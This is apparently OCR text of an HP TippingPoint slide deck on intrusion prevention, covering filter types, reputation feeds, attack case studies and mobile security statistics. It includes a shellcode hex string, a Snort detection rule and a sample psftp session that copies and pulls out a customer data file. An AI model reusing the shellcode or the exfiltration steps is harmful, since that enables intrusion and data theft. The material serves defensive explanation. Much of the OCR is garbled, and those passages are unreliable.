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Vulnerability Protection
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Digital Vaccine® — Security Accuracy

Exploit A Vulnerability
“Fingerprint” = / “Fingerprint”

“ Exploit B ” — False
Flngerprlnt Virtual Positive
(Missed b){ Software ( ignature)

Coarse Exploit A Patch coqrse signature
signature) atc ESInlﬁpleA
xploit
Filter

RESULT: Acts as a Virtual Software Patch

compute element, O/S, or application

Term Definition
Vulnerability > A security flaw in a software program
Exploit > A program that takes advantage of a vulnerability to gain unauthorized access or block access to a network element,

Exploit Filter > Written only to a specific exploit
> Filter developers often forced to basic filter design due to engine performance limitations
©Co zadmpact 1 Missed attacks, false positives @and continued,vulnerability;risk




Overview of the Attack

SERVER PACKETS FROM CLIENT

Pkt 1
\
Server Port 135/tcp ST i
— et QUES
Interface: Function Call:
Interfaces Available: ISystemActivator Opnum 4 > Pkt2
e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0 ooggg;ao‘;ggoo-
0b0a6584-9e0f-11cf-a3cf-00805f68ch1b v1.1 s
975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0 000000000046 Function
€60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0 vo0.0 Arguments )
99fcfec4-5260-101b-bbcb-00aa0021347a v0.0 3
b9e79e60-3d52-11ce-aaal-00006901293f v0.2 .
412f241e-c12a-11ce-abff-0020af6e7a17 v0.2 \\server\file
00000136-0000-0000-c000-000000000046 v0.0
c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0 > Pkt 3
4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0
000001a0-0000-0000-c000-000000000046 v0.0
J

/

Function Call 4, contains a heap-based buffer overflow in the server parameter.
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Vulnerability Filter

© Copyright 2013 Hex

A vulnerability filter will check:
v' TCP session established to appropriate port (135)
BIND to the appropriate RPC interface

v
v' REQUEST the appropriate function call (opnum=4)
v" Navigate to the vulnerable parameter

v

Determine that an overlong servername has been supplied
Pros: High Precision, hard to evade

Cons: Requires powerful and fast filtering engine
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Exploit Filter

An exploit-specific filter detects the shell code used in a
particular exploit. High false negatives.

For example:

EB 19 5E 31 C9 81 E9 89 FF FF FF 81 36 80 BF 32 94 81 EE FC FF FF FF E2 F2 EB 05 E8 E2 FF FF FF 03 53 06 1F 74 57
7595 80 BF BB 92 7F 89 5A 1A CE B1 DE 7C E1 BE 32

Pros: Simple string match, easy to design and implement,
suitable for weak engines

Cons: High false negatives, filter is blind if exploit is modified
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Policy Filter

Policy filter detects all BINDs to the vulnerable interface
Will detect legitimate traffic as well as attacks
Defining this traffic as unacceptable
 Spyware, Pings from the internet, etc.
Pros: Simple string match, easy to design and implement,
suitable for weak engines
Cons: High false positives when used to detect exploitation of a

vulnerability
Example: Snort's signature for the RPC DCOM overflow
http://www.snort.org/snort-db/sid.html?sid=2192

alert tcp SEXTERNAL_NET any -> SHOME_NET 135 (msg:"NETBIOS DCERPC ISystemActivator bind attempt";
flow:to_server,established; content:"|05|"; distance:0; within:1; content:"|0b|"; distance:1; within:1;
byte_test:1,&,1,0,relative; content:" | A0 01 00 00 00 00 00 00 CO 00 00 00 00 00 00 46|"; distance:29; within:16;
reference:cve,CAN-2003-0352; classtype:attempted-admin; sid:2192; rev:1;)
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(ODay) (Pwn20wn\Pwn4Fun) Microsoft Internet Explorer localhost Protected

Mode Bypass Vulnerability b

ZDI-14-270: July 30th, 2014 - EEHU DH?

CVE ID & T L
CVE-2014-1762

CVSS Score

7.5, (AV:N/AC:L/Au:N/C:P/I:P/A:P)

Affected Vendors Vulnerability Details
Microsoft
Affected Products This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Microsoft

Internet Explorer. User interaction is required to exploit this vulnerability in that the target must visit a malicious

Internet Explorer .
page or open a malicious file.

The specific flaw exists within the ability to trick the broker into loading a malicious page in a privileged context.

The issue lies in the implicit trust of navigating to localhost. An attacker can leverage this vulnerability along with
proxy shellcode to execute code under the context of the current user at medium integrity.
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How does HP TippingPoint deal with it?

TippingPoint IPS
customers are
protected against this
vulnerability by Digital

ZDI disclosed to MS
at
Pwn20wn/Pwn4Fu

Vaccine protection Public release of advisory

filter ID 13787 \

A 4 \4

12 March, 2014 18 March, 2014 30 July, 2014

n

v

Ahead 113 days |
‘ |
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openSSL!

How does Heartbleed work? 50

lear Maa umanta theaos A lattara: AOMATOLL

*Source:http://xkcd.com/1354



Malware Detection
and Communication Cut-off
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How can a hacker control your device?

MAIN Resp
1:02 ~ 12:02

DDoS

300

11:42

BeaIrsy

ikingh

12:02



Why Does Security Intelligence Matter?

C:\> psftp

psftp> open admin@sensitivedb.company

psftp> chmod a+r “customer seed files.csv”

psftp> get “customer seed files.csv” shhhhhh.csv

psftp> rar a shhhhh.rar -ril -m5 -v51200 c:\shhhhhh.csv

psftp> quit

C:\> psftp

psftp> open good.mincesur.com

psftp> get shhhhh.001.rar chunkl.001.rar
psftp> get shhhhh.002.rar chunk2.002.rar

Ecosystem

$15$
Mg

e

\\Q\“\“l loe

10132~

a
I

101111001101010
110011100110101

1110010101011

40\ 1101110010101
L ICLRRRRRKY

Enterprise

# nmap —A —T4 sce




What is ThreatDV?

1. A combination of reputation feed and malware filters

2. Malware filter package will be updated weekly, while reputation feed
will be updated ~ 2 hours

3. Malware filters that are designed to detect post-infection traffic
including:

NEW

Bot Activity Phone Home Command & Control Data Exfiltration Reputation

- ) . . o Vulnerability Page and Parameter
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ThreatDV + Reputation Stops Attacks — Use Case:

BlackPoS malware (used in Target
Breach)
1. ThreatDV filter detects BlackPOS

data exfiltration attempts using
naming convention matching in FTP

2. Reputation provides protection
using blacklisted IP address

3. Attack is stopped!
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ThreatDV + Reputation Stops Attacks — Use Case:

ChewBacca TOR based malware example

1. ThreatDV has Chewbacca specific malware
filters that detects DNS queries to known
Chewbacca CnC servers

2. Reputation detects TOR exit nodes used in this
attack

3. Chewbacca traffic is detected by using a TOR
network activity filter

4. Attack is stopped!
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How to Evaluate the Reputation of a Device?

© Copy

right 2013

Hewl

lett-Pac

Device Reputation

— Device behaving well?

— Generating Exploit traffic?
— Part of Botnet?

— Hosting Malware?

— P2P Super Node?

Network Traffic in/out
— Applications used

— Traffic matching exploits
— Good vs. bad traffic

Network Applications
— Services
— Content hosted (malware)
— Application issues/vulns

Associations
— Participation in malware
— Participation in scams

— Participation in Phishing
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DVLabs Reputation Service:
Changing the Face of Reputation

3 Party Malware « IPv4 Addresses + 1M+ IP Addresses 3" party Web &
Research « IPv6 Addresses « 1M+ DNS Names Email Research
> Malware research and « DNS Names « Updates Every 2 Hr > Providers of

analysis web/email security
> Identify devices Analysis of
L > ysis O
partmpatmg‘ in . ‘ malicious traffic
malware activity ThreatLan Da abase

@Sunbeh Software

Open Source
Community

> Various malware/

> Global threat monitoring event DB ﬂ

> Over 12M real-time attack events daily SANS Institute

TippingPoint Customer Event Data > Global Community
Lighthouse Program

phishing/ botnet | S . * Attack events participation |
communities * Real-time attack . G|0b?|| Zugtomef'PS > Correlates Firewall
Unallocated (Bogon Sensors * Detailed data .

> (Bogon) « Globally deployed collection Security Events

Lists

* Detailed data
> DVLabs validated collection m
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Stop All Communications
with Bad IP and Domain

HP TippingPoint Reputation Feeds
Reputation Database R,
e |Pv4 & IPv6 Address Nl DIGITAL
* DNS Names
® Geography

e Merge with your data

Access Switch

2.

HP TippingPoint

¢ Botnet Trojan downloads
e Malware, spyware, & worm downloads
* Access to botnet CnC sites

BaN VACCINE

Spammers

Up to 80% of spam generated Malware Depots
Estimates of 2,500
- 50,000 new

malware depots

Phishing Sites
50,000+ new
phishing sites
discovered monthly

Compromised Hosts
Millions worldwide

¢ Spam and phishing emails
¢ DDoS attacks from botnet hosts
* Web App attacks from botnet hosts

o L. .
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ThreatDV stops Botnet-- Real Case

HP TippingPoint Reputation Feed
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Rep-8031.170.179179
Rep-6031.170179173
Rep-8031.170.179179
Rep-6031.170.178173
Rep-8031.170.179179
Rep-6031.170.179179
Rep-8031.170.179179
Rep-6031.170.179179
Rep-8031.170.179179

Rep-6031.170.179179

10.80219.144

1044.158.81

10.80219.144

1044.158.81

10.80219.144

104415801

10.80219.144

104415801

10.80219.144

104415801

lett-Packard Development Company, L.P. The information contained

31170179179

31170179179

31170179179

31170179179

31170179179

31170179179

31170179179

31170179179

31170179179

31170179179
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Multiple inside devices
communicate with a
malicious IP in
midnight

2013/04/03 00:59:31

2013,/04,/03 00:58:35
2013/04/03 00:58:25
2013,/04,/03 00:57:21
2013/04/03 00:57:11
2013,04/03 0005619
2013/04/03 00:55:59
2013,04/03 00:55:09
2013/04/03 00:54:49

2013,04/03 00:53:55
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Real Case Study 1 (Stuff up the link of a manufacture )

ICMP Fragmented Packet

Manufacture in SH (1cpp Fragment events show up a pick on
5/31)
Data Center in TP 0083: ICMP: Fragmented packet

10 . 10,000
8 [\ / 8,000 g
g 6 7 6,000 &
¢ 4 SRiP#h, 05/31, 8 4,000 E
g =
E o {2000 =
0 | 0
P /30 05/31 06/01 06/02
Strait
Bipnm W REPH  m Bees |
(Compare with history behavior)
ICMP Fragment Flooding consumes bandwidth
We found over 10,000,000 ICMP Fragmented Packets in one hour. The packet size is 1,500Bytes. It means this @
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Trend analysis helps detecting abnormal traffic in real time

Drill Down = We can see all attack sources

© 0083: ICMP:
0083: ICMP:
0083: ICHP:
0083: ICHP:

0083 ICMP

0083: ICMP

00€3: ICMP
0083: ICMP

Hit

Fragmented packet

Fragmented packet
Fragmented packet
Fragmented packet

- Fragmented packet
0083: ICMP:
0083: ICMP:
0083: ICMP:
0083: ICMP:
0083 ICMP:

Fragmented packet
Fragmented packet
Fragmented packet
Fragmented packet
Fragmented packet

- Fragmented packet
0083: ICMP:
0083: ICMP:
0083: ICMP:
0083: ICMP:

Fragmented packet
Fragmented packet
Fragmented packet

Fragmented packet

- Fragmented packet

- Fragmented packet

FhLE R 1P
i Major 19.241
ips Major 3176
ips Major 973
ips Major 9,109
ips Major 973
ips Major 9153
Lid Major 19.241
L Major 3336
ips Major 9153
ips Major 9.109
ips ﬁrﬁﬁ%ﬁ 19.241
Pl im0
PS5 | fprppe b 33.36
ips | mAFEEIP 9153
ips BERAEIP 19.241
ips A BeP =
ips }JFH%EE’JI‘F' 0100

wRERIP

wfRiEEgP

=

™

(Inside IP- Botnet)

FHport Fl| BEmP - (B Biport BHi Bk Bl o}
0 nal | 202.71.100.114 MY 0 Permit 1200
0 nai | 202.71.100.114 MY 0 Permit 1035
0 nai §202.71.100.114 MY 0 Permit 600
0 nai | 202.71.100.114 MY 0 Permit 484
0 nal | 202.71.100.114 JMY 0 Permit 425
0 nai §202.71.100.114 MY 0 Permit 323
0 nai | 202.157.177.39 MY 0 Permit 825
0 nai | 202.157.177.39 MY 0 Permit 529
0 nai § 202.157.177.39 MY 0 Permit 350
0 nai | 202.157.177.39 MY 0 Permit 344
0 nal | 202.157.177.39 MY 0 Permit 1

0 nai | 202.157.177.39 MY 0 Permit 1

0 nai | 202.157.177.39 MY 0 Permit 1

0 nai | 202.157.177.39 MY 0 Permit 1

0 nai | 206.16.241.29 JuUS 0 Permit 1202
0 nai | 206.16.241.29 JuUS 0 Permit 978
0 nai | 206.16.241.29 JuUS 0 Permit /ﬂdﬁ

(Destination- Victim) (Huge
Amount)
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Real Case Study 2 (Brute force attack)

(17:39, Brute Force AD event burst)

= EBR SRS
2010/11/29 17:39 ~ 2010/11/29 18:39
“ #E
3 1400: SMB: Windows Logon Failure
2010/11/29 16:29 ~ 17:39
1.5
1.2
2
4 o u
=] a
o 13 8
- - 4. L E3
1 .
¥
[Lenssetenetsnstnnnnsnnee 7,
A /
o | 16:33 16:53 17:19 17:33
L el Ml
e L L HEE1PHE E&a1rsh B i
17:39 17:43 17:59 / i
1 smn B < . FEFIP Fgport | EH || BEe BePort AssERn | BE | xe |
T 1400 indows Logon Failurel] | 111.148.238.223 2539 192.168.10.5 | microsoft-ds(445) | &dt#AE 65
i 1400: ZMBE: Windows Logon Failurelj | 111.148.238.223 | 2539 192.168.10.5 microsoft-ds(445) | H1L#FLE 65
5924 DNS: NXDOMAIN Response 140 SMB: Windows Logon Failurelj | 111.148.238.223 | 58823 192 1658.105 microsoft-ds(445) | S1tHELE 1
400: SMB: Windows Logon Failurel] | 111.148.238.223 | 58828 192.168.10.5 | microsoft-ds(445) | &dt#knzE 1
1400: SMB: Windows Logon Failure f 1400: SMB: Windows Logon Failurel] | 114.51.26. 141 58159 P 192168.10.5 | microsof-ds(445) | HitHELE 1
1400: SMB: Windows Logen Failurel] | 114.51.26.141 58159 JP 192.168.10.5 | microsoft-ds(445) | &IEHFAE 1
1400: SMB: Windows Logon Failurelj | 114.51.26 141 65291 JP 192 168.10.5 microsoft-ds(445) | &1t#ELAE 2
1400° SMB: Windows Logon Faf 114.51.26 141 65291 JP 192168105 | microsoft-ds(445) | & Ib#RLNE 2
1400; SMB: 114.51.26.141 0331 P 192.168.10.5 | microsofi-ds(445) | HILHAE 1
(We can ﬁnd 1400 ndows Logon Failurel] | 114.51.26.141 60331 JP 192.168.10.5 | microsoft-ds(445) | &IEHFAE 1
/ SMB: Windows Logon Failurelj | 80.191.236.226 1120 IR 192 168.10.5 microsoft-ds(445) | &1t#ELAE 4
attackers in 1 1400: SMB: Windows Logon Failurel] | 80.191.236 226 1120 IR 192168105 | microsoft-ds(445) | &1LHFLE 4
. 1400: SMB: Windows Logon Failurel] | 80.191.236.226 3522 IR 192.168.10.5 | microsoft-ds(445) | &dt#nzE 2
mi n) 1400: SMB: Windows Logen Failurel]  80.191.236.226 | 3522 R 192.168.10.5 | microsoft-ds(445) | &IEHFAE 2
1400: SMB: Windows Logon Failurelj | 80.191.236.226 3522 IR 192 168.10.5 microsoft-ds(445) | &1t#ELAE 10
© Copyright 2013 Hewlett-Packard Development Company, L.P. 'Y 4400 sms: windows Logon Failurel] | 80191236226 | 3522 IR 192168105 | microsof-ds(44s) | & ILHREE 10




Real Case Study 3 (Crash DNS Service)

Huge DNS NX Domain Query - FW/DNS can’t handle them -2 Impact Web browsing

Unique IPs

30

24

CO069209: DNS: DNS Query
2010/09/23 15:05 ~ 16:05

15:05

15:25

FEEIPS

15:45

Beéh1rgh

u Sthn |

(134 source IP addresses send NX Domain
gueries at the same time)

© Copyright 2013 1

Unique IPs

140

24

56

28

6924: DNS: NXDOMAIN Resp™egg
2010/09/24 11:02 ~ 12:02

er*"“Jl;

TLELLET) ;
i

Hit Count

3

11:02

11:22

HERIPH

11:42

B&nIrsh

= St |

12:02

e ®EP | BEip | Bmeot | wE v
CO00G929: DMNS: DNS Query 210.60.205.37 71261 domain(53) 348
C006929: DNS: DNS Query 210.60.205.30 71261 domain(53) 204
C006929: DNS: DNS Query 163.27.126.250 7.126.1 domain(53) 193
CO06929: DMS: DMS Query 210.60.205.56 71261 domain(53) 132
CO00G929: DMNS: DNS Query 210.60.205.19 71261 domain(53) 121
C006929: DMNS: DNS Query 163.27.126.253 71261 domain{53) 86
C006929: DMNS: DNS Query 210.60.205.29 7.126.1 domain(53) 81
CO06929: DMS: DMS Query 210.60.205.85 71261 domain(53) 76

it FHP | WA~ B Bfbport | s
§924: DNS: NXDOMAIM Response 200.28.4130 CL L1261 domain(53) 2
| 6924: DNS: NXDOMAIN Response 200.28.4.157 cL . 126.1 domain{53) 2
6924 DNS: NXDOMAIM Response 202.102.199.82 CN&] 1261 domain(53) 4
5924: DNS: NXDOMAIN Response 51.147.37.196 Cl . 126.1 domiain(53) 4
6924: DNS: NXDOMAIM Response 220.167.29.243 CMN .126.1 domain(53) 2
6924 DNS: NXDOMAIM Response 220.167.29.239 CN .126.1 domain(53) 2
6924: DNS: NXDOMAIN Response 61.233154.42 CN .126.1 domain(53) 2
6924: DNS: NXDOMAIN Response 2188515221 CN .126.1 domain(53) 2
6924 DNS: NXDOMAIM Response 218.85157.74 CH 1261 domain(53) 2
6924: DNS: NXDOMAIN Response 80.190.211.10 DE .126.1 domain(53) 2
6924 DNS: NXDOMAIM Response 62.146.0.10 DE . 126.1 domain(53) . 2
6924: DNS: NXDOMAIN Response 21212396110 | DE .126.1 domain(53) 2
6924; DNS: NXDOMAIN Response 200.107.10.62 EC .126.1 domain(53) 2
6924 DNS: NXDOMAIMN Response 80.12.204.167 FR 1261 domain({53) 2



DNS Protection Solution: Deployment Example
[ Probe detects abnormal NX Domain Query

Perimeter

] 240
BRI , 12:02, 124
=
e
28 § = - 1 s I
o a e P o
i i, 7
11:02 11:22 11:42 12:02 PrObe Analyzer
SEETPE Beview W i |

Enterprise Users “
1IDC

Mobile HP TippingPoint IPS
Home

bl = ==
HP TippingPoint SMS



DNS Protection Solution: Deployment Example
« 2: Probe sends NX Domain blocking list to TippingFPoint SMS

24: DNS: NXDOMAIN

2010/09/24 11:31 ~ 1402
. 200
240
iBIPSH, 12:02, 134

-1

=
\l bl
28 o 4 1 0 I
o "- £t o 3 K {‘-'A J LES d y o
11:02 11:22 11:42 12:02 PrObe Analyzer
SEETPE Beview W i |

Perimeter

DNS

Enterprise Users “
1IDC

Mobile
Home

HP TippingPoint IPS

bl = ==
HP TippingPoint SMS



DNS Protection Solution: Deployment Example
* 3: SMS updates policy to block NX Domain queries. It” s not IP isolation. All normal domain queries will be

NS: NXDOMAIN
11:02

2 _. o
=0 Probe Analyzer

Perimeter

Enterprise Users “
1IDC =
f ippingPoint IPS

Mobile
Home
i Tl s s 1 :
T 70 den y NX Domain |
query is the best solution
against NX Domain

attacks using spoot IPs



Deny NX Domain Query- 24 hours statistic

* Deny NX Domain queries- Save DNS servers

1| 107
41

3 | 66
199
5t bemlbsgal @broadcom.com. 243
B oo Gt ssl. 113
NXDo 5t bemlbsgal@broadcom.com. 1151
E NxDo Et samsungvuieventlog.viingo.com. 6.183
n NXDo Et lipin.ctrip.cnc.ccgsib.net. 192191

Destination IP

S EH EH H E

Hit Count

46.99K

46.8K

43.67K

43.28K

42 39K

4213K

41 81K

41.13K

32.26K




DNS Amplify — Generate 28-40 times traffic

* Major Purpose- Consume bandwidth

A Records...

MX Records...

using victim’s IP

address




DNS Amplify TOP 10 Makers- 24 hours statistic

They are not user’ s IPs (Spoofed IP address)- Should be hacker’ s target

EventName ___MsourceiP ] Hit Count

E¥  13019: ONS: DNS ANY Response R :: ™W 2201 ™w 773.46K
13019: DNS: DNS ANY Response 94.123.247.2 R 2190 ™w 397.11K
Bl 13019 DNS: DNS ANY Response s 116 ™w 2201 ™w 35373K
13019: DNS: DNS ANY Response 72200121163 us 2201 ™w 299.3K
13019: DNS: DNS ANY Response 203 2201 ™w 18184K
Bl 13019 DNS: DNS ANY Response 161 2201 ™w 160.3K
13019: DNS: DNS ANY Response 1244 2201 ™w 155K
13019: DNS: DNS ANY Response 2201 ™ 141.08K
Bl 13019 DNS: DNS ANY Response 181 2201 ™w 13499K
13010: DNS: DNS ANY Response 87.210.50.215 NL 2192 ™w 13423K




DDoSPFEZEBICA & it E4E H)- BlIRf o ArieA, 12 RIR5H

e — — =) e s 11349: HTTP: Default Page Request (ONLY enable
31" Riax when under DoS5 attack)

2013/02/19 01:54 ~ 02:54

10K

BK

11349: HTTP: Default Page Request
2013/02/19 02:54:00 9214 1521 l__'
(OMLY enable when under DoS attack)

B

G
L1

Hit Count

: Default Page Request (OMNLY enable when under DoS attack) 426616117 50106 ™ 210.200180.181 80 T™wW 368
11349: HTTP: Default Page Request (ONLY enable when under DoS attack) 1221019916 4649 CN 103114144 344
11349: HTTP: Default Page Request (ONLY enable when under DoS attack) 10136865 1156 CN 2031331715 233
11349: HTTP: Default Page Request (ONLY enable when under Do§ attack) 101 3686182 4106 CN 103114144 = 231
11349: HTTP: Default Page Request (OMLY enable when under DoS attack) 101.36.86.182 4221 CM 103114143 ﬁﬁﬁgﬁ 229

H368%K?

11345 HTTP: Default Page Request (ONLY enable when under DoS attack) 122101997 1952 CN 2031331715
11345 HTTP: Default Page Request (OMNLY enable when under DoS attack) 101.36.86.81 3293 CN 103.1141.44

11349 HTTP: Default Page Request (ONLY enable when under Do§ attack) 101.36.86.81 3639 CN 103114143




h

DDoSBB@%WJ(SSHﬁM%?EH)— Eﬂ%ﬁ*ﬁ’?'%ﬂ,ﬁﬂﬂiﬁﬁf

5601: S5H: SSH Login Attempt 2013/02/12 07:52:00 39463 4416

5601: SSH: SSH Login Attempt
2013/02/1206:52 ~ 07:52
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5601: SSH: SSH Login Attempt 2234.36.10 55660 CN 139212 22 Home ™ 39463 2013/02/12 07:52:58
5601: SSH: SSH Login Attempt 2234.36.10 49192 CN .80.81 22 Home ™ 28,601 2013/02/12 07:46:25
5601: S5SH: SSH Login Attempt 22343610 43012 CN 80122 22 Home ™ 28,248 2013/02/12 07:47:25
5601: 5SH: S5H Login Attempt 22343610 52117 CN .80.95 22 Home ™ 28,187 2013/02/12 07:48:25
5601: SSH: S5H Login Attempt 22343610 54866 CN 808 22 Home ™ 28,023 2013/02/12 07:45:25
5601: SSH: SSH Login Attempt 2234.36.10 49430 CN .80.87 22 Home 2013/02/12 07:49:25
5601: SSH: SSH Login Attempt 2234.36.10 40159 CN 1 .80.84 23 Home 2013/02/12 07:51:25
5601: 55H: S5H Login Attempt 22343610 37120 CN .80.105 22 Home 2013/02/12 07:50:25

5601: 55H: S5H Login Attempt 22343610 39949 CN 1331300 22 CUS-8&E 2013/02/12 07:35:57

Hit Count
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Vulnerability Trends
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Disclosed vulnerabilities measured by NVD, 2010-2013
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High-severity vulnerabilities are decreasing
Disclosed vulnerabilities by severity measured by NVD, 2010-2013
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SCADA systems increasingly targeted
SCADA submissions to the Zero Day Initiative, 2010-2013
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Mobile prevalence only continues to grow

Mobile
devices are
everywhere

Today the
average person
carries

2.9

devices'

1 Sophos Labs 2013

(| |

Mobile apps

More than

160 billion
apps will be

downloaded globally
in 2017, up from

80 billion
in 20132

2 intomobile.com/2013/07/03/more-than-160-billion-apps-downloaded-2017
3 Smart Insights, Jupiter Research 2013
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Mobile
commerce

Projected
growth from

$241 billion

in2011 to

%1 trillion
in 2015




Mobile Security Landscape

1 1BM Analytics

Explosion in usage

e Cyber Monday 2013: 55.4% year over year mobile shopping
increase:.

Mobile security efforts lag behind their web counterparts

* While both suffer from the same type of vulnerabilities,
mobile security not yet as disciplined.

Mobile apps are easily exploitable
*96% of attacks not particularly difficult to executez.

2 2012 Data Breach Investigations Report (DBIR), Verizon Business, April 2012
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Global 2000 Mobile Security study

Tested more than 2000 mobile applications from 600+ companies

Access
private info

-
L

8 6% of applications failed to use
simple binary hardening protections
against modern-day attacks

7 5% of applications do not use
proper encryption techniques when
storing data on a mobile device

7 1 % of vulnerabilities resided on
the Web server

1 8% of applications sent usernames

and passwords over HTTP, while another
18% implemented SSL/HTTPS incorrectly

© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential. @



HP 2013 Cyber Risk Report

D Mobile — Top Issues

Security issues were a result
of insecure client-side
operation

Mobile apps
security

Insecure server-side
application code or code
quality issues — unstable
application behavior

Unnecessary permissions '

46% of mobile i0S and
Android applications use
encryption improperly.
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HP 2013 Cyber Risk Report

D Mobile — Top 4 client side issues

Top client-side issues in native
mobile applications

mEncryption 46%
m Permissions 24%
m Storage 26%

WebView 24%

© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change withc
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HP 2013 Cyber Risk Report

D Mobile — Top 4 issues

Top Four Mobile Security Issues Breakdown

100% -

Insecure certificate Insecure logging and hard

80% 1 verification, 8% coded information,
: - 37.93%

60% - Excessive permissions, 74%

Unencrypted storage, 51% Insecure storage location,
40% - 41.38%
20% - Insecure SSL configuration, Unrestricted cross-domain Insecure database access,

[]% L] T : T
Encryption Permissions Storage

© Copyright 2013 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. HP Confidential.

WebView

Insecure native
access via HTML
injection, 20%

Untrusted
content, 80%
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TippingPoint
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Time Event Hit Count |Private SourcelP|Public SourcelP{Username [Source MAC Location
2012/5/7 . . . .

21'361400: SMB Windows Logon Failure 152(192.168.1.222 |210.100.38.101|Robin Shih 00-50-56-C0-00-01 [AP-1
2012/5/7 .

21_449991: HTTPS: Google Gmail Access 2/192.168.1.33  [210.100.38.101|Sandy Chen |00-50-56-DF-11-1A|AP-1
2012/;:/‘; 192.168.2.166 [210.100.38.102Ken Yip 00-50-56-62-13-2F [AP-2
2012/5/72270: BitTorrent: Peer-to-Peer 69/192.168.1.33  [210.100.38.101/Sandy Chen [00-50-56-DF-11-1A|AP-1

21:52ICommunications
2012/1%; 192.168.1.45 210.100.38.101|Richard Chou |00-50-56-00-14-B4 |AP-1
2012/5/7/6545: MS-RPC: Microsoft Server 1/192.168.2.88  [210.100.38.102|Peter White |00-50-56-77-11-54 |AP-2

22:17/Service Buffer Overflow
201;5;; 192.168.1.77 210.100.38.101)eremy Lin 00-50-56-DD-30-6AAP-1
2012/5/7 .. .
5670: HTTP: SQL Injection (SELECT) 17(192.168.2.88  |210.100.38.102 Peter White [00-50-56-77-11-54
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